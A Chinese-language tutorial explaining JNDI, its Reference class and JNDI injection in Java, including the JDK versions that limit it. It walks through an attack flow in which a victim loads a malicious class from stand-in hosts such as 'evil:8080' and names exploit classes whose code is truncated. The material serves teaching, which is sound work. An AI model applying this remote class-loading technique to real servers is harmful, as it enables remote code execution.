1. JDNI注入
本篇文章作者jok3r0x,本文属i春秋原创奖励计划,未经许可禁止转载。
1.1. 背景知识
1.1.1. JNDI Service Provider
JNDI 与 JNDI Service Provider
的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如默认的 JNDI Service Provider
有 RMI/LDAP
等等。
1.1.2. ObjectFactory
每一个 Service Provider
可能配有多个 Object Factory
。Object Factory
用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。
1.2. JNDI概述
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。
JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,就像人的名字或DNS中的域名与IP的关系。
JNDI由JNDI API
、命名管理
、JNDI SPI(service provider interface)服务提供的接口
组成。我们的应用可以通过JNDI的API去访问相关服务提供的接口
JDNI的服务是可以拓展的,可以从JNDI页面下载其他服务提供商,也可以从远程获得其他服务提供商 JDK包括以下命名/目录服务的服务:
- 轻型目录访问协议(ldap)
- 通用对象请求代理体系结构(CORBA),通用对象服务(COS)名称服务
- Java远程方法调用(RMI)注册表
- 域名服务(DNS)
Java命名和目录接口(JNDI)是一种Java API,类似一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
代码格式如下:
1 | //指定需要查找name名称 |
这里的jndiName变量
的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。
那上面提到的命名和目录是什么?
- 命名服务:命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务
- 目录服务:目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象
举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务
其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。
在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向,而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。一图胜千言:
从图中可以看到jndi在访问rmi时只是传了一个键foo过去,然后rmi服务端返回了一个对象,访问ldap这种目录服务时,传过去的字符串比较复杂,包含了多个键值对,这些键值对就是对象的属性,LDAP将根据这些属性来判断到底返回哪个对象。
1.3. JNDI类
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
1 | //主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类; |
1.3.1. InitialContext类
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
构造方法
1 | //构建一个初始上下文。 |
- 实现代码
1 | InitialContext initialContext = new InitialContext(); |
常用方法
1 | //将名称绑定到对象。 |
- 实现代码
1 | package org.example; |
1.3.2. Reference类
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。具体可以查看Java技术回顾之JNDI:命名和目录服务基本概念。
构造方法
1 | //为类名为“className”的对象构造一个新的引用。 |
- 实现代码
1 | String url = "http://127.0.0.1:8080"; |
在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:
参数1:
className
- 远程加载时所使用的类名参数2:
classFactory
- 加载的class
中需要实例化类的名称参数3:
classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
协议
Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
补充
常用方法
1 | void add(int posn, RefAddr addr) |
1.4. JNDI代码实现
在JNDI中提供了绑定和查找的方法
- bind(Name name, Object obj) :将名称绑定到对象中
- lookup(String name): 通过名字检索执行的对象
1.4.1. 实现过程
类似rmi的实现过程,只不过最后绑定和检索的时候有一点差别。
- 定义远程接口
- 服务端实现远程接口
- 服务端注册远程对象
- 客户端调用接口
1.4.2. 实现举例
HelloInterface.class(定义远程接口)
1 | package org.example; |
HelloImpl.class(HelloInterface远程接口实现类)
1 | package org.example; |
Server.class(注册远程对象并绑定)
1 | package org.example; |
Client.class(远程调用)
1 | package org.example; |
1.5. JNDI动态协议转换
我们上面的demo提前配置了jndi的初始化环境,还配置了Context.PROVIDER_URL
,这个属性指定了到哪里加载本地没有的类,所以,上面的demo中 init.lookup("rmi://127.0.0.1:1099/test")
这一处代码改为init.lookup("test")
也是没啥问题的。
那么动态协议转换是个什么意思呢?其实就是说即使提前配置了Context.PROVIDER_URL
属性,当我们调用lookup()
方法时,如果lookup
方法的参数像demo中那样是一个uri地址
,那么客户端就会去lookup()
方法参数指定的uri
中加载远程对象,而不是去Context.PROVIDER_URL
设置的地址去加载对象(如果感兴趣可以跟一下源码,可以看到具体的实现)。
正是因为有这个特性,才导致当lookup()
方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。
但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助接下来要提到的东西。
1.6. JNDI Naming Reference
Reference类
表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:
className
:远程加载时所使用的类名;classFactory
:加载的class中需要实例化类的名称;classFactoryLocation
:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
当然,要把一个对象绑定到RMI注册表
中,这个对象需要继承UnicastRemoteObject
,但是Reference
没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper
包裹一下Reference
实例对象,这样就可以将其绑定到RMI注册表
,并被远程访问到了
1 | // 第一个参数是远程加载时所使用的类名 |
当有客户端通过lookup("refObj")
获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName
,如果不存在则去指定的url(http://example.com:8888/refClassName.class)动态加载,并且调用`insClassName`的**无参构造函数**,所以**可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码,还可以利用java的 static代码块
来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。**
了解更多关于static代码块,参考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html
1.7. JNDI注入
1.7.1. JNDI注入原理
就是将恶意的Reference类
绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件
,当用户在JNDI客户端的lookup()
函数参数外部可控或Reference类
构造方法的classFactoryLocation参数
外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类
,从而加载远程服务器上的恶意class文件
在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
1.7.2. JNDI注入的利用条件
- 客户端的
lookup()
方法的参数可控 - 服务端在使用
Reference类
时,classFactoryLocation
参数可控
上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在JNDI注入中也起着至关重要的作用,而且不同的攻击Payload对jdk的版本要求也不一致,这里就全部列出来:
- JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly
的默认值被设置为true
。当该值为true
时,将禁用自动加载远程类文件,仅从CLASSPATH
和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端JVM从其他Codebase
地址上动态加载类,增加了RMI ClassLoader
的安全性。 - JDK 6u141、7u131、8u121之后:增加了
com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false
,禁止RMI
和CORBA
协议使用远程codebase
的选项,因此RMI
和CORBA
在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 - JDK 6u211、7u201、8u191之后:增加了
com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false
,禁止LDAP
协议使用远程codebase
的选项,把LDAP协议的攻击途径也给禁了。
可以看出RMI的Codebase限制明显比LDAP多,所以我们在日站的时候,最好也是用LDAP来进行注入。
1.7.3. JNDI注入攻击流程
- 攻击者通过可控url触发动态协议转换(
rmi://attack:1090/Exploit
) - 受害者服务器原上下文环境被转换为
rmi://attack:1090/Exploit
- 受害者服务器去
rmi://attack:1090/Exploit
请求绑定对象Exploit,攻击者实现准备好的RMI服务器返回一个ReferenceWrapper
对象(Reference("Class1","Class2","http://evil:8080/")
) - 应用获取到
ReferenceWrapper
开始在本地查找Class1
,发现无,则去请求http://evil:8080/Class2.class
- web服务器返回事先准备好的恶意class文件,受害者服务器调用
Class2
的构造方法,恶意代码执行
1.7.4. JNDI注入举例
创建恶意类Evil(不能带package)
1 | import javax.naming.Context; |
常见RMI服务端,绑定恶意的Reference到rmi注册表
1 | package org.example; |
客户端远程调用evil对应类
1 | package org.example; |